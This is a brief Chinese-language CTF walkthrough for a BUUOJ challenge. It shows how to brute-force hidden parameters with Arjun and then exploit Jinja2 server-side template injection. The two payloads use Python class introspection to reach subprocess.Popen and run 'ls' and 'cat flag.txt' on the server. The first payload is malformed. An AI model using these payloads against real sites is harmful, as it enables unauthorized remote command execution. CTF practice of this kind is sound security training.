arjun安装
下载地址 s0md3v /Arjun
cd Arjun-2.1.4
pip3 install arjun
py -3 setup.py install
如果输入arjun -h有如下输出则安装成功
解题
首先使用arjun爆破参数
arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5
参数:
-d DELAY Delay between requests in seconds. (default: 0)
-c CHUNKS Chunk size. The number of parameters to be sent at once
爆破出参数name
首先7*7返回49,判断存在模板注入,然后就是常规SSTI了
# ls
?name={{''.__class__.__mro__[1].__subclasses__()[222]}}('ls',shell=True,stdout=-1).communicate()[0].strip()
# cat
?name={{''.__class__.__mro__[1].__subclasses__()[222]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}